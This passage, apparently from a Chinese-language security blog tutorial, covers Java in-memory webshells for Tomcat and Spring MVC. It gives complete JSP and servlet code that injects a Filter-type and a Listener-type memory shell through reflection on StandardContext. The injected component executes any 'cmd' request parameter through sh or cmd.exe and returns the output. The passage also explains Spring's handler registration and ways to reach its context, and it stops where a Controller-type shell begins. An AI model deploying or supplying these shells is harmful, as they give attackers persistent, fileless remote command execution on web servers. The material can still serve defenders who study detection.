out.write("[+]filter型内存马注入成功<br>");
out.write("[+]URL:http://localhost:8080/FilterMemoryShell_war_exploded/");
}
} catch (Exception e) {
e.printStackTrace(out);
}
%>

对应的java版代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;
import java.util.Scanner;

@WebServlet("/filtermemoryshell")
public class FilterMemoryShell extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
// 获取当前请求的ServletContext对象
ServletContext servletContext = req.getSession().getServletContext();
// 通过反射获取ApplicationContext对象
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
// 通过反射获取StandardContext对象
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

// 通过反射获取filterConfigs字段
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);

// 定义过滤器名称
String filterName = "cmisl";

// 检查过滤器是否已经存在
if(filterConfigs.get(filterName) == null){
// 创建一个新的过滤器实例
Filter filter = new Filter() {

@Override
public void init(FilterConfig filterConfig) throws ServletException {
Filter.super.init(filterConfig);
}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
// 从请求参数中获取命令
String cmd = servletRequest.getParameter("cmd");
servletResponse.setCharacterEncoding("GBK");
if(cmd!=null) {
// 判断操作系统类型
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")){
isLinux = false;
}
// 根据操作系统类型设置命令执行方式
String[] commands = isLinux ? new String[]{"sh","-c",cmd}:new String[]{"cmd.exe","/c",cmd};
// 执行命令并获取输入流
InputStream inputStream = Runtime.getRuntime().exec(commands).getInputStream();
Scanner s = new Scanner(inputStream, "GBK").useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
// 将命令执行结果写入响应
servletResponse.getWriter().write(output);
servletResponse.getWriter().flush();
servletResponse.getWriter().close();
// 继续处理请求链
filterChain.doFilter(servletRequest,servletResponse);
}
}

@Override
public void destroy() {
Filter.super.destroy();
}
};

// 创建并配置FilterDef对象
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);

// 将FilterDef对象添加到StandardContext
standardContext.addFilterDef(filterDef);

// 创建并配置FilterMap对象
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filterName);
filterMap.addURLPattern("/*"); // 设置过滤器的URL模式
filterMap.setDispatcher(DispatcherType.REQUEST.name()); // 设置调度类型为REQUEST

// 将FilterMap对象添加到StandardContext
standardContext.addFilterMapBefore(filterMap);

// 通过反射获取ApplicationFilterConfig的构造函数
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
// 创建ApplicationFilterConfig实例
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
// 将ApplicationFilterConfig实例添加到filterConfigs
filterConfigs.put(filterName, applicationFilterConfig);

// 设置响应编码和内容类型
resp.setCharacterEncoding("utf-8");
resp.setContentType("text/html;charset=utf-8");
// 输出成功信息和访问URL
resp.getWriter().write("[+]filter型内存马注入成功<br>");
resp.getWriter().write("[+]URL:http://localhost:8080/FilterMemoryShell_war_exploded/");

}
}catch (Exception e){}

}
}

需要注意的是,在 tomcat 7 及以前 FilterDef 和 FilterMap 这两个类所属的包名是:

1
2
<%@ page import="org.apache.catalina.deploy.FilterMap" %>
<%@ page import="org.apache.catalina.deploy.FilterDef" %>

tomcat 8 及以后,包名是这样的:

1
2
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>

由于这方面的区别,最好是直接都用反射去写这个 filter 内存马,具体 demo 参考:

还有个需要注意的点就是,这个 demo 代码只适用于 tomcat 7 及以上,因为
filterMap.setDispatcher(DispatcherType.REQUEST.name()); 这行代码中用到的
DispatcherType 是在 Servlet 3.0 规范中才有的。

Listerner型内存马

介绍

image-20240723040915561

由上图可知, Listener 是最先被加载的动态注册一个恶意的Listener ,就又可以形成一种内存马了。

在 tomcat 中,常见的 Listener 有以下几种:

  • ServletContextListener ,用来监听整个 Web 应用程序的启动和关闭事件,需要实现contextInitialized 和 contextDestroyed 这两个方法;
  • ServletRequestListener ,用来监听 HTTP 请求的创建和销毁事件,需要实现requestInitialized 和 requestDestroyed 这两个方法;
  • HttpSessionListener ,用来监听 HTTP 会话的创建和销毁事件,需要实现 sessionCreated 和sessionDestroyed 这两个方法;
  • HttpSessionAttributeListener ,监听 HTTP 会话属性的添加、删除和替换事件,需要实现attributeAdded 、 attributeRemoved 和 attributeReplaced 这三个方法。

很明显, ServletRequestListener 是最适合做内存马的,因为它只要访问服务就能触发操作

Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import javax.servlet.*;
import javax.servlet.annotation.WebListener;

@WebListener("/test")
public class TestListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("invoke ServletRequestListener requestDestroyed!");
}

@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("invoke ServletRequestListener requestInitialized!");
}
}

分析

image-20240723043025255

断点打在图示位置。在堆栈里可以看到调用了org.apache.catalina.core.StandardContext#listenerStart,通过 findApplicationListeners 找到这些Listerner 的名字,然后实例化这些 listener

image-20240723043435543

然后将实例化出来的listener按照ServletRequestAttributeListenerHttpSessionIdListener类型,添加到eventListenersServletContextListenerHttpSessionListener类型添加到lifecycleListeners分成两类

image-20240723043607270

然后,会将getApplicationEventListeners()方法获得的结果转化成链表然后添加到eventListeners中,我们看一下这个方法的实现。

image-20240723044154057

1
2
3
public Object[] getApplicationEventListeners() {
return applicationEventListenersList.toArray();
}

显然关键在applicationEventListenersList。如果我们能控制添加一个恶意Listener给这个变量,那我们的恶意Listener随后就会跟着eventListeners被加载。我们可以找一找有没有方法可以在这个变量添加Listener。这里我们可以全局搜索这个变量,然后找到了setApplicationEventListeners方法。跟简单的一个方法。

1
2
3
4
5
6
public void setApplicationEventListeners(Object listeners[]) {
applicationEventListenersList.clear();
if (listeners != null && listeners.length > 0) {
applicationEventListenersList.addAll(Arrays.asList(listeners));
}
}

编写内存马

写一个 Listener 内存马,需要经过以下步骤:

  • 继承并编写一个恶意 Listener
  • 获取 StandardContext
  • 调用 StandardContext.addApplicationEventListener() 添加恶意 Listener
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.RequestFacade" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.ServletContext" %>
<%@ page import="javax.servlet.ServletRequestEvent" %>
<%@ page import="javax.servlet.ServletRequestListener" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.Scanner" %>

<%!
public class ListenerMemoryShellImpl implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
try {
RequestFacade requestFacade = (RequestFacade) sre.getServletRequest();

Field requestField = requestFacade.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(requestFacade);
Response response = request.getResponse();
// 从请求参数中获取命令
String cmd = sre.getServletRequest().getParameter("cmd");
response.setCharacterEncoding("GBK");
if(cmd != null) {
// 判断操作系统类型
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
// 根据操作系统类型设置命令执行方式
String[] commands = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
// 执行命令并获取输入流
InputStream inputStream = Runtime.getRuntime().exec(commands).getInputStream();
Scanner s = new Scanner(inputStream, "GBK").useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
// 将命令执行结果写入响应
response.getWriter().write(output);
response.getWriter().flush();
response.getWriter().close();
}
} catch (Exception e) {
e.printStackTrace();
}
}

@Override
public void requestDestroyed(ServletRequestEvent sre) {
// Do nothing
}
}
%>

<%
try {
// 获取当前请求的ServletContext对象
ServletContext servletContext = request.getServletContext();
// 通过反射获取ApplicationContext对象
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

// 通过反射获取StandardContext对象
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

// 获取当前的ApplicationEventListeners列表
Object[] objects = standardContext.getApplicationEventListeners();
List<Object> listeners = Arrays.asList(objects);
List<Object> arrayList = new ArrayList<>(listeners);

// 创建并添加自定义的ServletRequestListener
ListenerMemoryShellImpl listener = new ListenerMemoryShellImpl();
arrayList.add(listener);
standardContext.setApplicationEventListeners(arrayList.toArray());

// 输出成功信息
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html;charset=utf-8");
out.write("[+]Listener型内存马注入成功<br>");
} catch (Exception e) {
e.printStackTrace(out);
}
%>

java版代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.digester.SetPropertiesRule;

import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.List;
import java.util.Scanner;

@WebServlet("/listenermemoryshell")
public class ListenerMemoryShell extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
// 获取当前请求的ServletContext对象
ServletContext servletContext = req.getServletContext();
// 通过反射获取ApplicationContext对象
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

// 通过反射获取StandardContext对象
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

// 创建并添加自定义的ServletRequestListener
List<Object> eventListeners = new ArrayList<>();

ServletRequestListener listener = new ServletRequestListener() {

@Override
public void requestInitialized(ServletRequestEvent sre) {
try {

RequestFacade requestFacade = (RequestFacade) sre.getServletRequest();

Field requestField = requestFacade.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(requestFacade);
Response response = request.getResponse();
// 从请求参数中获取命令
String cmd = sre.getServletRequest().getParameter("cmd");
response.setCharacterEncoding("GBK");
if(cmd!=null) {
// 判断操作系统类型
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")){
isLinux = false;
}
// 根据操作系统类型设置命令执行方式
String[] commands = isLinux ? new String[]{"sh","-c",cmd}:new String[]{"cmd.exe","/c",cmd};
// 执行命令并获取输入流
InputStream inputStream = Runtime.getRuntime().exec(commands).getInputStream();
Scanner s = new Scanner(inputStream, "GBK").useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
// 将命令执行结果写入响应
response.getWriter().write(output);
response.getWriter().flush();
response.getWriter().close();
}
} catch (Exception e) {}
}

@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
};
eventListeners.add(listener);
standardContext.setApplicationEventListeners(eventListeners.toArray());

// 输出成功信息
resp.setCharacterEncoding("UTF-8");
resp.setContentType("text/html;charset=utf-8");
resp.getWriter().write("[+]Listener型内存马注入成功<br>");
}catch (Exception e){}


}
}

Spring型内存马

SpringMVC(Model-View-Controller)是Spring框架的一部分,用于构建基于Java的Web应用程序。它遵循MVC设计模式,将应用程序的不同功能分离为独立的模块,促进代码的组织和管理。以下是SpringMVC的主要特点和组件:

  1. DispatcherServlet

    • 核心组件,作为前端控制器(Front Controller),负责将请求分发到相应的处理器。
  2. HandlerMapping

    • 用于将请求映射到相应的处理器(Controller),可以基于注解(如@RequestMapping)或配置文件进行映射。
  3. Controller

    • 处理用户请求的组件。通过注解(如@Controller@RequestMapping)定义具体的处理逻辑和URL映射。
  4. Model

    • 用于在控制器和视图之间传递数据。通常通过ModelModelAndView对象进行数据传递。
  5. View

    • 用于呈现模型数据的组件。SpringMVC支持多种视图技术,如JSP、Thymeleaf、FreeMarker等。
  6. ViewResolver

    • 负责将逻辑视图名解析为具体的视图实现。常见的视图解析器包括InternalResourceViewResolverThymeleafViewResolver等。
  7. Form Handling

    • SpringMVC提供了强大的表单处理机制,可以自动将表单数据绑定到Java对象,并支持数据验证和错误处理。
  8. Data Binding and Validation

    • 使用@Valid注解和BindingResult对象进行数据绑定和验证,确保输入数据的有效性。
  9. Exception Handling

    • 提供了全局异常处理机制,可以使用@ExceptionHandler注解或@ControllerAdvice类处理应用程序中的异常。
  10. Interceptors

    • 拦截器允许在请求处理的前后执行额外的逻辑,可以用于日志记录、权限验证等。

中心控制器

Spring的web框架围绕DispatcherServlet设计。DispatcherServlet的作用是将请求分发到不同的处理器。从Spring 2.5开始,使用Java 5或者以上版本的用户可以采用基于注解的controller声明方式。

Spring MVC框架像许多其他MVC框架一样, 以请求为驱动 , 围绕一个中心Servlet分派请求及提供其他功能,**DispatcherServlet是一个实际的Servlet (它继承自HttpServlet 基类)**。

image-20240725164944299

SpringMVC的原理如下图所示:

image-20240725165012102

当发起请求时被前置的控制器拦截到请求,根据请求参数生成代理请求,找到请求对应的实际控制器,控制器处理请求,创建数据模型,访问数据库,将模型响应给中心控制器,控制器使用模型与视图渲染视图结果,将结果返回给中心控制器,再将结果返回给请求者。

image-20240725165050843

SpringMVC执行原理

image-20240725165159020

图为SpringMVC的一个较完整的流程图,实线表示SpringMVC框架提供的技术,不需要开发者实现,虚线表示需要开发者实现。

简要分析执行流程

  1. DispatcherServlet表示前置控制器,是整个SpringMVC的控制中心。用户发出请求,DispatcherServlet接收请求并拦截请求。

    假设请求的url为 : http://localhost:8080/SpringMVC/hello

    如上url拆分成三部分:

    http://localhost:8080:服务器域名

    SpringMVC:部署在服务器上的web站点

    hello:控制器

    通过分析,如上url表示为:请求位于服务器localhost:8080上的SpringMVC站点的hello控制器。

  2. HandlerMapping为处理器映射。DispatcherServlet调用HandlerMapping,HandlerMapping根据请求url查找Handler。

  3. HandlerExecution表示具体的Handler,其主要作用是根据url查找控制器,如上url被查找控制器为:hello。

  4. HandlerExecution将解析后的信息传递给DispatcherServlet,如解析控制器映射等。

  5. HandlerAdapter表示处理器适配器,其按照特定的规则去执行Handler。

  6. Handler让具体的Controller执行。

  7. Controller将具体的执行信息返回给HandlerAdapter,如ModelAndView。

  8. HandlerAdapter将视图逻辑名或模型传递给DispatcherServlet。

  9. DispatcherServlet调用视图解析器(ViewResolver)来解析HandlerAdapter传递的逻辑视图名。

  10. 视图解析器将解析的逻辑视图名传给DispatcherServlet。

  11. DispatcherServlet根据视图解析器解析的视图结果,调用具体的视图。

  12. 最终视图呈现给用户。

初始化分析

可以先从核心组件 org.springframework.web.servlet.DispatcherServlet的初始化开始看,不过由于其没有init()初始化函数,我们可以往上找,知道找到其父类FrameworkServlet的父类,即org.springframework.web.servlet.HttpServletBean可以找到初始化init()方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public final void init() throws ServletException {

// Set bean properties from init parameters.
PropertyValues pvs = new ServletConfigPropertyValues(getServletConfig(), this.requiredProperties);
if (!pvs.isEmpty()) {
try {
BeanWrapper bw = PropertyAccessorFactory.forBeanPropertyAccess(this);
ResourceLoader resourceLoader = new ServletContextResourceLoader(getServletContext());
bw.registerCustomEditor(Resource.class, new ResourceEditor(resourceLoader, getEnvironment()));
initBeanWrapper(bw);
bw.setPropertyValues(pvs, true);
}
catch (BeansException ex) {
if (logger.isErrorEnabled()) {
logger.error("Failed to set bean properties on servlet '" + getServletName() + "'", ex);
}
throw ex;
}
}

// Let subclasses do whatever initialization they like.
initServletBean();
}

先是从 Servlet 的配置中获取初始化参数并创建一个 PropertyValues 对象,然后设置 Bean 属性;关

键在最后一步,调用了 initServletBean 这个方法。

跟进这个方法看见并没有任何内容,我们可以看看HttpServletBean这个接口的子类FrameworkServlet是如何实现 initServletBean 这个方法的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
protected final void initServletBean() throws ServletException {
getServletContext().log("Initializing Spring " + getClass().getSimpleName() + " '" + getServletName() + "'");
if (logger.isInfoEnabled()) {
logger.info("Initializing Servlet '" + getServletName() + "'");
}
long startTime = System.currentTimeMillis();

try {
this.webApplicationContext = initWebApplicationContext();
initFrameworkServlet();
}
catch (ServletException | RuntimeException ex) {
logger.error("Context initialization failed", ex);
throw ex;
}

if (logger.isDebugEnabled()) {
String value = this.enableLoggingRequestDetails ?
"shown which may lead to unsafe logging of potentially sensitive data" :
"masked to prevent unsafe logging of potentially sensitive data";
logger.debug("enableLoggingRequestDetails='" + this.enableLoggingRequestDetails +
"': request parameters and headers will be " + value);
}

if (logger.isInfoEnabled()) {
logger.info("Completed initialization in " + (System.currentTimeMillis() - startTime) + " ms");
}
}

前面是一些log日志的操作。然后会调用initWebApplicationContext方法初始化Web应用上下文。

initWebApplicationContext方法的主要功能是确保在Servlet初始化过程中,正确地设置和配置Web应用上下文WebApplicationContext。它首先尝试使用在构造时注入的上下文实例,如果没有注入,则从Servlet上下文中查找已注册的上下文。如果仍然找不到上下文,则创建一个本地的上下文。在确保上下文被正确配置和刷新后,它可能会手动触发一次刷新,并根据配置决定是否将上下文发布为Servlet上下文的一个属性。

我们可以关注onRefresh这个刷新方法。它提供了一个扩展点,允许在默认初始化过程之外添加额外的行为,而不需要修改核心代码。我们的controller和interceptor可能就会这里设置。

image-20240725213633899

跟进onRefresh方法之后,并没有内容,可以跟进子类 DispatcherServlet里面关于这个方法的具体实现。可以看到调用了initStrategies方法,里面进行了SpringMVC组件的初始化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
protected void onRefresh(ApplicationContext context) {
initStrategies(context);
}


protected void initStrategies(ApplicationContext context) {
initMultipartResolver(context);
initLocaleResolver(context);
initThemeResolver(context);
initHandlerMappings(context);
initHandlerAdapters(context);
initHandlerExceptionResolvers(context);
initRequestToViewNameTranslator(context);
initViewResolvers(context);
initFlashMapManager(context);
}

Controller型内存马

在Spring MVC框架中,Controller(控制器)是负责处理用户请求并返回相应结果的组件。它是MVC(Model-View-Controller)设计模式中的核心部分之一,负责将用户请求分发到相应的处理逻辑,并将结果返回给视图层进行展示。

Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package ControllerMemoryShell.ShellDemo;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class TestController {

@ResponseBody
@RequestMapping("/test")
public String hello(){
return "helloworld!";
}
}

注册流程分析

SpringMVC 初始化时,在每个容器的 bean 构造方法、属性设置之后,将会使用 InitializingBean 的 afterPropertiesSet 方法进行 Bean 的初始化操作,其中实现类 RequestMappingHandlerMapping 用来处理具有 @Controller 注解类中的方法级别的 @RequestMapping 以及 RequestMappingInfo 实例的创建。看一下具体的是怎么创建的。

它的 afterPropertiesSet 方法初始化了 RequestMappingInfo.BuilderConfiguration 这个配置类,然后调用了其父类 AbstractHandlerMethodMapping 的 afterPropertiesSet 方法。

image-20240726015015934

父类的 afterPropertiesSet 方法调用了 initHandlerMethods 方法,首先获取了 Spring 中注册的 Bean,然后循环遍历,调用 processCandidateBean 方法处理 Bean。

1
2
3
4
5
6
7
8
9
10
11
12
protected void initHandlerMethods() {
// 遍历所有候选的 Bean 名称
for (String beanName : getCandidateBeanNames()) {
// 忽略以 SCOPED_TARGET_NAME_PREFIX 开头的 Bean(通常是代理 Bean)
if (!beanName.startsWith(SCOPED_TARGET_NAME_PREFIX)) {
// 处理候选的 Bean,将其注册为处理方法(handler method)
processCandidateBean(beanName);
}
}
// 通知所有 handler methods 已初始化完成
handlerMethodsInitialized(getHandlerMethods());
}

processCandidateBean 方法调用 isHandler 方法判断给定的 beanType 是否带有 Controller 或 RequestMapping 注解。判断通过的话调用 detectHandlerMethods 方法检测并注册该 Bean 中的处理方法(Handler Methods)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected void processCandidateBean(String beanName) {
Class<?> beanType = null;
try {
beanType = obtainApplicationContext().getType(beanName);
}
catch (Throwable ex) {
// An unresolvable bean type, probably from a lazy bean - let's ignore it.
if (logger.isTraceEnabled()) {
logger.trace("Could not resolve type for bean '" + beanName + "'", ex);
}
}
if (beanType != null && isHandler(beanType)) {
detectHandlerMethods(beanName);
}
}

我们看detectHandlerMethods方法。首先获取处理器的类型。如果处理器是一个字符串(Bean 名称),则从应用上下文中获取其类型,否则获取其Class对象。handlerType不为null,则会去获取实际的用户类(去除代理类等包装)。

然后使用 MethodIntrospecto.selectMethods方法,这个方法有两个参数,第一个参数就是刚刚获取的用户类,第二个参数是一个回调函数。关键就在于理解这个回调函数MetadataLookup的作用。对于每个方法,它会尝试调用getMappingForMethod 来获取方法的映射信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
protected void detectHandlerMethods(Object handler) {
Class<?> handlerType = (handler instanceof String ?
obtainApplicationContext().getType((String) handler) : handler.getClass());

if (handlerType != null) {
Class<?> userType = ClassUtils.getUserClass(handlerType);

Map<Method, T> methods = MethodIntrospector.selectMethods(userType,
(MethodIntrospector.MetadataLookup<T>) method -> {
try {
// 获取方法的映射(例如 URL 映射)
return getMappingForMethod(method, userType);
}
catch (Throwable ex) {
// 如果获取映射失败,抛出异常
......
}
});

......

// 遍历找到的方法和对应的映射
methods.forEach((method, mapping) -> {
// 选择可调用的方法(考虑 AOP 代理)
Method invocableMethod = AopUtils.selectInvocableMethod(method, userType);
// 注册处理方法
registerHandlerMethod(handler, invocableMethod, mapping);
});
}
}

我们跟进getMappingForMethod 方法,没有实现,于是看子类对getMappingForMethod 方法的实现。第一个参数就是我们RequestMapping注解对应的方法,第二个就是对应Controller类的Class对象。首先调用 createRequestMappingInfo(method) 方法,从方法上的注解信息创建 RequestMappingInfo 对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected RequestMappingInfo getMappingForMethod(Method method, Class<?> handlerType) {
RequestMappingInfo info = createRequestMappingInfo(method);
if (info != null) {
RequestMappingInfo typeInfo = createRequestMappingInfo(handlerType);
if (typeInfo != null) {
info = typeInfo.combine(info);
}
String prefix = getPathPrefix(handlerType);
if (prefix != null) {
info = RequestMappingInfo.paths(prefix).options(this.config).build().combine(info);
}
}
return info;
}

createRequestMappingInfo(method) 方法首先会查找方法上的 @RequestMapping 注解,那么自然会获得映射的路径信息,如果 @RequestMapping 注解不为空,则会调用重构的方法创建 RequestMappingInfo,否则返回 null。可以看到这个 info 里面保存了访问该方法的 url pattern 是 “/test” ,也就是我们在TestController.java 所想要看到的当 @RequestMapping(“/test”) 时,调用 hello 方法。

image-20240726024605182

image-20240726025011665

回到detectHandlerMethods方法后,继续往下走。

1
2
3
4
5
6
7
// 遍历找到的方法和对应的映射
methods.forEach((method, mapping) -> {
// 选择可调用的方法(考虑 AOP 代理)
Method invocableMethod = AopUtils.selectInvocableMethod(method, userType);
// 注册处理方法
registerHandlerMethod(handler, invocableMethod, mapping);
});

先用 selectInvocableMethod 方法根据 method 和 userType 选择出一个可调用的方法,这
样是为了处理可能存在的代理和 AOP 的情况,确保获取到的是可直接调用的原始方法;然后把 bean 、
Method 和 RequestMappingInfo 注册进 MappingRegistry 。

image-20240726025723963

也就是说模拟注册向mappingRegistry中添加内存马路由,就能注入内存马。

如何获取WebApplicationContext

以下内容来自Spring内存马——Controller/Interceptor构造 - 先知社区 (aliyun.com)

在内存马的构造中,都会获取容器的context对象。在Tomcat中获取的是StandardContext,spring中获取的是WebApplicationContext。(在controller类声明处打上断点可以看到初始化WebApplicationContext的过程)WebApplicationContext继承了BeanFactory,所以能用getBean直接获取RequestMappingHandlerMapping,进而注册路由。

  • 获取WebApplicationContext:

    由于webApplicationContext对象存放于servletContext中。并且键值为WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE

    所以可以直接用servletContext#getAttribute()获取属性值

1
WebApplicationContext wac = (WebApplicationContext)servletContext.getAttribute(WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE);

webApplicationContextUtils提供了下面两种方法获取webApplicationContext。需要传入servletContext

1
2
WebApplicationContextUtils.getRequeiredWebApplicationContext(ServletContext s);
WebApplicationContextUtils.getWebApplicationContext(ServletContext s);

spring 5的WebApplicationContextUtils已经没有getWebApplicationContext方法

  • 获取ServletContext

    通过request对象或者ContextLoader获取ServletContext

    1
    2
    3
    4
    // 1
    ServletContext servletContext = request.getServletContext();
    // 2
    ServletContext servletContext = ContextLoader.getCurrentWebApplicationContext().getServletContext();
  • 获取request可以用RequestContextHolder

    1
    2
    HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder
    .getRequestAttributes()).getRequest();

spring中获取context的方式一般有以下几种

①直接通过ContextLoader获取,不用再经过servletContext。不过ContextLoader一般会被ban

1
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();

②通过RequestContextHolder获取request,然后获取servletRequest后通过RequestContextUtils得到WebApplicationContext

1
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());

③用RequestContextHolder直接从键值org.springframework.web.servlet.DispatcherServlet.CONTEXT中获取Context

1
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

④直接反射获取WebApplicationContext

1
2
3
java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
filed.setAccessible(true);
org.springframework.web.context.WebApplicationContext context =(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null)).iterator().next();

实际上常用的就2,3。

其中1获取的是Root WebApplicationContext,2,3通过RequestContextUtils获取的是叫dispatcherServlet-servlet的Child WebApplicationContext。

在有些Spring 应用逻辑比较简单的情况下,可能没有配置 ContextLoaderListener 、也没有类似 applicationContext.xml 的全局配置文件,只有简单的 servlet 配置文件,这时候通过1方法是获取不到Root WebApplicationContext的。

编写内存马

要编写一个 spring controller 型内存马,需要经过以下步骤:

  • 获取 WebApplicationContext

  • 获取 RequestMappingHandlerMapping 实例

  • 通过反射获得自定义 Controller 的恶意方法的 Method 对象

  • 定义 RequestMappingInfo

  • 动态注册 Controller

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    package ControllerMemoryShell.ShellDemo;

    import org.springframework.web.bind.annotation.RequestMapping;
    import org.springframework.web.bind.annotation.RestController;
    import org.springframework.web.context.WebApplicationContext;
